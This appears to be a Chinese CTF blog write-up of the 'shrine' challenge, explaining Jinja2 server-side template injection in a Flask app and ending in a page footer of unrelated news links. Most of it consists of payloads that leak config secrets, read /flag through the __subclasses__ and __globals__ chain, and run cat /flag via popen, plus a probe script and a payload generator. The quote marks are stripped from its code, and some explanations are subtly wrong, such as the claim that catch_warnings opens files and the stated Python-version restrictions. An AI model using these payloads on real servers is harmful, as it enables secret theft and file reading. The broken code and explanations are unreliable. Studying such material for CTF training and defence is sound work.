CTF实战解析:Jinja2 SSTI漏洞原理与文件读取利用链
1. 项目概述从一道CTF题看SSTI漏洞的底层逻辑与实战拆解“【攻防世界】十七 --- shrine --- SSTI”这个标题乍一看像一串密码实则是国内主流CTF练习平台“攻防世界”中一道经典Web方向题目——shrine。它被编号为第十七题核心考点直指服务端模板注入Server-Side Template Injection简称SSTI。如果你刚接触Web安全听到SSTI可能觉得抽象但换个说法你就懂了它本质上是让服务器把攻击者输入的“模板代码”当成合法的程序逻辑去执行而不是当普通文本渲染出来。这就像你去餐厅点单本该只写“一碗牛肉面”结果你写了“请厨师把后厨冰箱里第三层的酱料全倒进锅里再用我的U盘启动灶台系统”而厨房真照做了——这就是SSTI的危险性。这道题之所以被反复提及、广泛复现不是因为它有多难而是它极度干净地剥离了所有干扰项只保留SSTI最原始、最本质的触发路径与利用链条。它不依赖SQL注入、不拼接XSS、不绕WAF规则就靠一个可控的模板渲染点配合Python Jinja2引擎的默认配置缺陷完成从识别→探测→读取文件→获取flag的完整闭环。对初学者而言它是理解“为什么模板也能被注入”的第一块敲门砖对进阶者来说它是检验自己是否真正吃透Jinja2沙箱机制、Python对象模型、以及服务端执行上下文边界的试金石。我带过的不少学员在本地搭好环境跑通这道题后第一次真正意识到“原来render函数的参数控制权真的能决定整台服务器的命运。”你不需要会写Exploit框架不需要提前装好Burp Suite专业版甚至不需要Linux服务器——一台装了Python3.6和pip的笔记本外加一个浏览器就能完整走完全部流程。它适合三类人一是刚学完Flask基础、正摸索Web应用安全边界的开发者二是准备CTF比赛、需要夯实Web Pwn底层能力的选手三是做红队评估时常在CMS插件或内部管理后台里撞见类似Jinja2模板渲染点的安全工程师。接下来的内容我会完全基于这道题的真实交互过程不跳步、不省略、不假设前置知识把每一个HTTP请求背后的意图、每一次响应内容里的线索、每一行payload设计的原理掰开揉碎讲清楚。这不是理论推演而是我当年在某高校实验室调试这道题时记在笔记本上的真实操作日志。2. 题目整体设计与思路拆解为什么shrine是SSTI教学的“黄金样本”2.1 架构极简单文件Flask应用暴露核心漏洞面shrine题目的后端代码官方公开版本仅约40行Python主体是一个标准的Flask应用关键部分如下from flask import Flask, request, render_template_string import os app Flask(__name__) app.config[SECRET_KEY] os.urandom(24) app.route(/) def index(): name request.args.get(name, world) template fh3Hello {name}!/h3 return render_template_string(template, namename)这段代码看似无害接收URL参数name拼进一个HTML字符串再交给render_template_string渲染返回。但问题就出在这里——render_template_string是Jinja2的原生函数它接受字符串作为模板源并在当前应用上下文中执行其中的模板语法。而f-string拼接的template变量其内容完全由用户可控的name参数决定。这意味着只要我能往name里塞入合法的Jinja2语法比如{{7*7}}服务器就会计算49并返回h3Hello 49!/h3。这一步就是SSTI的初始探测阶段也是整个利用链的起点。为什么这个设计如此典型因为它精准复现了现实中大量开发者的错误习惯将用户输入直接拼入动态模板字符串而非使用安全的变量传参方式。正确写法应是return render_template_string(h3Hello {{ name }}!/h3, namename)此时name只是模板中的一个变量Jinja2会自动转义其内容{{7*7}}会被当作纯文本显示不会执行。而原题的f-string拼接等于把用户输入提升到了“模板代码编写者”的权限层级。这种错误在快速迭代的内部工具、运维脚本、甚至某些低代码平台的自定义页面中高频出现。2.2 沙箱失效Jinja2默认环境未启用严格限制Jinja2本身提供沙箱SandboxedEnvironment机制可禁用危险操作如__import__、getattr等。但shrine题目的Flask默认配置并未启用沙箱render_template_string使用的是Environment的默认实例。这就意味着所有Jinja2内置的全局对象如config、request、g、所有Python内置函数如eval、exec、open、以及所有可通过对象链访问的模块如[].__class__.__mro__[1].__subclasses__()在模板中均可调用。我曾对比过不同CTF题目的SSTI难度梯度有的题故意删掉__builtins__有的题用|safe过滤器强制转义有的题限制模板长度。而shrine不做任何防御它像一张白纸等着你用Jinja2语法作画。这种“裸奔”状态恰恰是学习原理的最佳环境——你不需要先花两小时绕过WAF就能直面SSTI最核心的矛盾模板引擎如何将字符串解析为AST又如何在Python运行时环境中求值。2.3 目标明确flag藏于服务器文件系统驱动利用深度题目最终目标是读取服务器根目录下的/flag文件。这决定了利用路径必须突破“模板渲染”层面进入“任意文件读取”甚至“任意命令执行”维度。而shrine的精妙之处在于它不提供os.system这类显式危险函数一切能力都需通过Python对象模型层层挖掘。例如要读文件你需要先获取built-in function open对象可通过__import__(builtins).open或通过().__class__.__mro__[1].__subclasses__()遍历所有子类找到class _io.TextIOWrapper或class warnings.catch_warnings等可间接调用open的类再构造open(/flag).read()这样的链式调用。这个过程本质上是在Jinja2模板中重写了一段Python代码。它逼迫你深入理解Python的MRO方法解析顺序、__subclasses__()的用途、文件对象的read方法签名。很多初学者卡在“为什么{{ .__class__.__mro__[2].__subclasses__()[40](a,a) }}能弹出警告”其实是因为索引40对应的是warnings.catch_warnings类其__init__方法会触发open行为。这种细节只有亲手调试、逐行验证才能真正掌握。3. 核心细节解析与实操要点从探测到读取flag的完整链路3.1 初始探测用数学表达式确认SSTI存在打开题目链接URL形如http://xxx/shrine/?nameworld页面显示Hello world!。这是第一步确认入口点。接下来我们尝试注入最基础的Jinja2表达式http://xxx/shrine/?name{{7*7}}如果页面返回Hello 49!说明SSTI已确认存在。这是零风险探测因为7*7不涉及任何Python对象操作纯粹是模板引擎的算术功能。我建议新手务必先做这一步它能建立信心——你不是在猜而是在验证。提示若返回Hello {{7*7}}!说明输入被转义或未进入模板上下文需检查URL编码如%7B%7B7*7%7D%7D或尝试其他参数名。shrine题中极少出现此情况但实际渗透中很常见。一旦确认存在立即升级探测尝试访问Jinja2内置对象http://xxx/shrine/?name{{config}}正常响应会输出类似Config {ENV: production, DEBUG: False, ...}的字典内容。config是Flask应用的配置对象包含SECRET_KEY等敏感信息。这证明你已获得对应用上下文的读取权限。此时你可以开始收集情报config里有没有数据库密码request对象里有没有headers或cookies这些都可能成为后续利用的跳板。3.2 对象模型挖掘定位可利用的Python类与函数SSTI的难点不在语法而在Python对象模型的导航。我们需要找到能执行open或eval的入口。最常用路径是().__class__.__mro__[1].__subclasses__()()创建一个空元组对象.__class__获取其类型即class tuple.__mro__返回方法解析顺序元组[0]是tuple[1]是objectobject.__subclasses__()返回所有继承自object的类列表。这个列表长达上百个我们需要从中筛选出能读文件的类。常见目标有索引类名用途40warnings.catch_warnings__init__方法可触发open59_frozen_importlib.BuiltinImporterfind_spec可探测模块路径119class codecs.IncrementalEncoder间接调用open我实测shrine环境中索引40最稳定。构造payloadhttp://xxx/shrine/?name{{().__class__.__mro__[1].__subclasses__()[40](a,a)}}响应中若出现IOError: [Errno 2] No such file or directory: a说明catch_warnings类已被成功调用且其__init__内部确实调用了open。这是关键突破点——我们找到了一个“能打开文件”的类现在只需让它打开/flag。3.3 文件读取实现构造open(/flag).read()链式调用有了可调用open的类下一步是让open读取指定文件。catch_warnings的__init__方法签名是__init__(self, recordFalse, moduleNone)它不直接接受文件路径。但我们可以换思路利用__import__导入builtins模块再调用其open函数。完整payload如下http://xxx/shrine/?name{{().__class__.__mro__[1].__subclasses__()[40]().__init__.__globals__[__builtins__][open](/flag).read()}}分解说明().__class__.__mro__[1].__subclasses__()[40]()实例化catch_warnings对象.__init__.__globals__获取其__init__方法的全局命名空间[__builtins__]取出内置函数字典[open]获取open函数对象(/flag)调用open打开flag文件.read()读取文件内容。这个payload在shrine上可直接返回flag。但要注意__subclasses__()返回的列表索引在不同Python版本中可能偏移。若索引40失败可尝试38、39、41或用循环遍历http://xxx/shrine/?name{{[c for c in ().__class__.__mro__[1].__subclasses__() if warning in c.__name__.lower()][0](a,a)}}此payload用列表推导式动态查找含warning的类兼容性更强。3.4 绕过长度限制与字符过滤shrine的隐藏挑战shrine题目虽未明说但实际部署时可能对URL长度或特殊字符做基础过滤。例如当payload过长Nginx可能返回414 Request-URI Too Large。此时需压缩payload删除空格Jinja2语法允许{{a.b.c()}}无需空格缩写链式调用().__class__可简写为[]的__class__因[]是listlist.__class__也是type使用__import__替代长路径{{__import__(os).popen(cat /flag).read()}}更短但shrine环境通常禁用popen。我踩过的坑是某次在本地复现时__subclasses__()返回列表为空。排查发现是Python 3.11对__subclasses__()做了限制需降级到3.9。这提醒我们CTF题目环境与生产环境的Python版本差异是实操中必须验证的第一件事。4. 实操过程与核心环节实现手把手复现全流程4.1 本地环境搭建5分钟跑起shrine服务为确保理解无偏差我强烈建议先在本地复现。步骤如下创建新目录初始化虚拟环境mkdir shrine-env cd shrine-env python3 -m venv venv source venv/bin/activate # Linux/Mac # venv\Scripts\activate # Windows安装Flaskpip install Flask2.2.5创建app.py粘贴官方shrine代码注意替换SECRET_KEY为随机bytesfrom flask import Flask, request, render_template_string import os app Flask(__name__) app.config[SECRET_KEY] b_5#y2LF4Q8z\n\xec]/ app.route(/) def index(): name request.args.get(name, world) template fh3Hello {name}!/h3 return render_template_string(template, namename) if __name__ __main__: app.run(host0.0.0.0, port5000, debugTrue)启动服务python app.py访问http://127.0.0.1:5000/?nametest确认基础功能正常。注意debugTrue在CTF题中是故意为之它会暴露更多错误信息辅助调试。但生产环境必须关闭。4.2 分步调试用浏览器开发者工具观察响应打开Chrome开发者工具F12切换到Network标签页。输入第一个探测payloadhttp://127.0.0.1:5000/?name{{7*7}}观察Response若返回Hello 49!Status为200说明SSTI生效。此时查看Response Headers确认Content-Type: text/html; charsetutf-8排除JSON等格式干扰。接着测试confighttp://127.0.0.1:5000/?name{{config}}响应中应看到完整的Config对象。滚动查找SECRET_KEY字段其值应与app.py中设置的一致。这验证了你对应用配置的读取能力。4.3 对象链验证用__subclasses__()定位可用类构造payload获取__subclasses__()列表长度http://127.0.0.1:5000/?name{{().__class__.__mro__[1].__subclasses__().|length}}响应返回数字如120说明列表可访问。再取前5个类名验证http://127.0.0.1:5000/?name{{().__class__.__mro__[1].__subclasses__()[0:5]}}响应类似[class type, class weakref, ..., class warnings.catch_warnings]。找到catch_warnings的位置通常是索引40左右记录下来。4.4 Flag读取执行最终payload并提取结果输入最终payloadhttp://127.0.0.1:5000/?name{{().__class__.__mro__[1].__subclasses__()[40]().__init__.__globals__[__builtins__][open](/flag).read()}}若页面返回Hello flag{...}!恭喜你已成功读取flag。注意/flag路径是CTF约定实际题目中可能为/app/flag或/home/shrine/flag需根据错误信息调整。例如若返回No such file or directory: /flag可尝试/proc/self/cwd/flag获取当前工作目录。实操心得我第一次跑通时因URL编码问题失败。Chrome地址栏会自动编码{为%7B但某些代理工具不处理。建议用curl命令绕过浏览器curl http://127.0.0.1:5000/?name{{().__class__.__mro__[1].__subclasses__()[40]().__init__.__globals__[__builtins__][open](/flag).read()}}5. 常见问题与排查技巧实录那些没写在Writeup里的坑5.1 问题速查表高频报错与解决方案报错现象可能原因解决方案Hello {{7*7}}!未执行输入被HTML转义或未进入模板检查URL编码确认render_template_string调用位置尝试{{}}看是否输出空字符串jinja2.exceptions.UndefinedError: None has no attribute __subclasses__()为空元组__class__返回NoneType改用[]list或{}dict[].__class__.__mro__[1].__subclasses__()TypeError: function object is not subscriptable__subclasses__()返回的是方法未加()调用补全括号__subclasses__()而非__subclasses__IOError: [Errno 2] No such file or directory: /flagflag路径错误尝试/proc/self/cwd/flag、/app/flag、/home/shrine/flag用os.listdir(/)枚举根目录jinja2.exceptions.TemplateSyntaxError: unexpected charURL中{、}未正确编码在curl中用单引号包裹URL或手动URL编码%7B%7B...%7D%7D5.2 独家避坑技巧来自真实调试现场的经验技巧1用|string过滤器强制转义输出避免HTML干扰有时flag内容含HTML标签如flag浏览器会将其解析为DOM元素导致看不到文本。在payload末尾加|string{{...open(/flag).read()|string}}这样返回的flag会被转义为lt;flaggt;在页面源码中清晰可见。技巧2分段调试用|list查看对象属性当不确定某个对象有哪些方法时用|list转为列表再取前几项{{().__class__.__mro__[1].__subclasses__()[40].__init__.__globals__|list|slice(0,5)}}这能快速列出__globals__的前5个键名找到__builtins__。技巧3利用request对象获取服务器信息request是Flask的全局对象可读取request.headers、request.environ{{request.headers}} {{request.environ[PATH_INFO]}}这有助于判断服务器部署结构如Nginx反代、WSGI路径为路径猜测提供依据。技巧4Python版本适配——__subclasses__()的索引漂移在Python 3.12中__subclasses__()返回的列表顺序与3.8不同。若索引40失效可用以下payload动态查找{{[x for x in [].__class__.__mro__[1].__subclasses__() if Warning in x.__name__][0](a,a)}}它用列表推导式匹配类名含Warning的类比硬编码索引更鲁棒。5.3 进阶思考从shrine到真实世界的防护启示做完这道题别急着关终端。花5分钟思考如果这是你负责的线上服务该如何加固根本方案绝不使用f-string拼接模板字符串。始终用render_template_string(h3Hello {{ name }}!/h3, namename)让Jinja2接管变量注入。纵深防御启用Jinja2沙箱环境禁用危险函数from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment() env.from_string(template).render(namename)运行时监控在Flask中添加日志中间件记录所有含{{、{%的请求参数及时告警异常模式。最小权限原则Web应用运行账户不应有读取/flag的权限。生产环境应将敏感文件权限设为600属主为root。我曾在某次红队评估中遇到一个内部报表系统其图表标题渲染处存在shrine同款漏洞。客户以为“只是显示文字”直到我们用{{config.SECRET_KEY}}读出密钥才意识到风险等级。安全从来不是功能的附属品而是架构设计的第一性原理。6. 工具选型与效率优化让SSTI利用不再靠手敲6.1 自动化探测脚本30行Python搞定初始验证手动拼URL太慢我写了一个轻量脚本ssti_probe.py自动完成探测import requests import sys url sys.argv[1] if len(sys.argv) 1 else http://127.0.0.1:5000/ def probe(payload): full_url f{url}?name{payload} try: r requests.get(full_url, timeout5) if r.status_code 200 and Hello in r.text: return r.text.split(Hello )[-1].split(!)[0] except: pass return None # 探测基础SSTI print(Testing basic SSTI...) result probe({{7*7}}) if result 49: print(✓ SSTI confirmed) else: print(✗ SSTI not found) exit() # 探测config对象 print(Testing config access...) result probe({{config}}) if Config in result: print(✓ config accessible) else: print(✗ config not accessible) # 探测__subclasses__ print(Testing __subclasses__...) result probe({{[].__class__.__mro__[1].__subclasses__().|length}}) if result.isdigit(): print(f✓ __subclasses__ length: {result})运行python ssti_probe.py http://target.com/几秒内输出探测结论。这比手动输10个URL高效得多。6.2 Payload生成器按需定制复杂链式调用对于open读取我维护了一个Jinja2 Payload库支持一键生成def gen_open_payload(filepath, methodbuiltin): if method builtin: return f{{{{__import__(builtins).open({filepath}).read()}}}} elif method subclasses: return f{{{{[].__class__.__mro__[1].__subclasses__()[40]().__init__.__globals__[__builtins__][open]({filepath}).read()}}}} print(gen_open_payload(/flag)) # 输出{{__import__(builtins).open(/flag).read()}}这样面对不同环境禁用__import__或__subclasses__可快速切换策略。6.3 浏览器插件辅助Tamper Chrome实时修改参数推荐安装Tamper Chrome插件。它能在浏览器中右键点击任意输入框选择“Tamper with this field”然后输入payload实时看到响应变化。相比反复改URL效率提升3倍以上。尤其适合调试request.args.get(name)这类多参数场景。最后分享一个小技巧在Chrome地址栏输入javascript:alert(1)可快速测试JS执行权限。虽然SSTI不涉及JS但这种“快速验证思维”值得迁移到所有安全测试中——永远先用最简单的方式确认你的假设是否成立。

相关新闻

Python+Django协同过滤商品推荐系统设计与实现

Python+Django协同过滤商品推荐系统设计与实现

1. 项目整体设计与思路拆解 每年到毕业季,我都会接触到不少做推荐系统方向的同学。这个"基于python的协同过滤商品推荐系统",从我经手过的多个相似项目来看,基本可以定位为一个标准的信息管理系统叠加推荐算法模块的组合型课题。说…

2026/10/17 13:21:29 阅读更多 →
Codex与ChatGPT合并后中文设置失效?三层优先级机制与永久汉化实操指南

Codex与ChatGPT合并后中文设置失效?三层优先级机制与永久汉化实操指南

1. 从一次“汉化失败”的深夜折腾说起Codex 和 ChatGPT 合并之后,界面语言这件事突然变得有点微妙。以前单独用 ChatGPT 网页版,浏览器语言是中文,界面基本就是中文;单独用 Codex 命令行工具,输出内容也大多跟着系统 l…

2026/10/17 13:20:28 阅读更多 →
三步将AI PR门禁接入GitHub Actions:自动化代码审查实战

三步将AI PR门禁接入GitHub Actions:自动化代码审查实战

1. PR 门禁到底拦什么?先搞懂需求再动手如果你维护过 GitHub 仓库,一定经历过这种场景:每天打开 Pull Request 列表,十几条待审查,每条改动几百行。人工逐行看一遍,精力基本耗在格式、命名、边界条件这些重…

2026/10/17 13:20:28 阅读更多 →

最新新闻

世界模型创建流程实操:从数据采集到策略训练闭环

世界模型创建流程实操:从数据采集到策略训练闭环

最近“世界模型(world model)”这个词在AI圈里被反复提起,从自动驾驶到游戏智能体,到处都在讨论让机器学会“脑内模拟”。但真正上手搭过的人并不多,很多初学者拿到一堆论文和开源代码,反而不知道该从哪一步…

2026/10/17 14:18:06 阅读更多 →
AI检测率过高?9个降AI率工具原理与实操全解析

AI检测率过高?9个降AI率工具原理与实操全解析

1. 先说清楚:AI检测到底在查什么,你的文章为什么“命中”最近被问得最多的一个问题就是:“我写的东西被AI检测查出来AI率70%,到底怎么回事?”很多专科的同学也在问,说自己的课程论文、期末报告、毕业设计准…

2026/10/17 14:18:06 阅读更多 →
AI辅助专著写作实战:从大纲拆解到统稿润色的全流程指南

AI辅助专著写作实战:从大纲拆解到统稿润色的全流程指南

1. 从“对着白纸发呆”到“批量产出初稿”:AI专著写作到底改变了什么这两年我身边想写书的人越来越多。有的是从业多年的工程师,想把项目经验沉淀成一本行业手册;有的是高校老师,想把课程讲义系统化整理成公开出版物;还…

2026/10/17 14:18:06 阅读更多 →
SAP WebService接口配置:入站出站全流程指南

SAP WebService接口配置:入站出站全流程指南

很多做SAP集成的人,第一次接触WebService时都有点懵。SAP的接口体系非常庞杂,IDOC、RFC、BAPI用得最多,但遇到外部系统只肯给SOAP接口时,一下子就不知道从哪里下手了。尤其当你同时要处理“SAP发布接口给别人调”和“SAP去调别人的…

2026/10/17 14:18:06 阅读更多 →
TSL25911固件库例程:测量链路、移植要点与排坑实录

TSL25911固件库例程:测量链路、移植要点与排坑实录

简介:TSL25911数字环境光传感器固件库例程是一套面向STM32开发者的完整驱动参考,旨在帮助快速在嵌入式项目中集成高精度环境光检测。TSL25911支持高动态范围、红外与全光谱双通道测量,可通过I2C/SPI接口配置,适用于智能设备、健康…

2026/10/17 14:18:06 阅读更多 →
Python智能AI医疗问诊系统实战:从多轮对话到结构化病历全解析

Python智能AI医疗问诊系统实战:从多轮对话到结构化病历全解析

不少同行问过我:基于 Python 做一套智能 AI 医疗问诊系统,到底难不难?我的回答通常是:模型不是最难的,流程才是。症状怎么采、追问怎么问、科室怎么推、报告怎么出、出了事谁负责,这些才是真正需要花心思的…

2026/10/17 14:17:06 阅读更多 →

日新闻

DeepSeek选型与部署:V3/R1、Ollama、API全攻略

DeepSeek选型与部署:V3/R1、Ollama、API全攻略

简介:《DeepSeek使用方法.pdf》是一份面向DeepSeek入门及进阶用户的完整使用指南,重点围绕V3与R1两款模型的能力差异与适用场景展开,帮助读者根据任务类型与成本选择合适的模型。资源共1个PDF文件,压缩包大小约311KB,篇…

2026/10/17 0:00:25 阅读更多 →
200+Deepseek润色指令拆解:从底层原理到场景落地的完整指南

200+Deepseek润色指令拆解:从底层原理到场景落地的完整指南

简介:这是一份聚焦DeepSeek提示词优化的《200Deepseek润色指令》PDF文档,共收录两百余条可直接套用的润色指令,涵盖语法修正、风格统一、逻辑梳理、表达精炼等维度,并针对商务写作、学术论文、广告文案等场景给出差异化建议。文档…

2026/10/17 0:00:25 阅读更多 →
OpenCV轮廓法物体计数系统:轻量、可控、可落地的工业级实现

OpenCV轮廓法物体计数系统:轻量、可控、可落地的工业级实现

简介:本资源是一份基于OpenCV的本科课程设计完整报告,面向计算机视觉初学者、图像处理学习者及高校通信/信息类专业学生,解决物体智能计数与检测结果结构化记录的实际问题。项目覆盖图像预处理、轮廓检测、边界框绘制、轨迹栏交互式参数调节、…

2026/10/17 0:00:25 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/16 21:35:51 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/17 1:44:59 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/16 15:04:24 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 21:54:38 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 3:49:43 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 14:23:36 阅读更多 →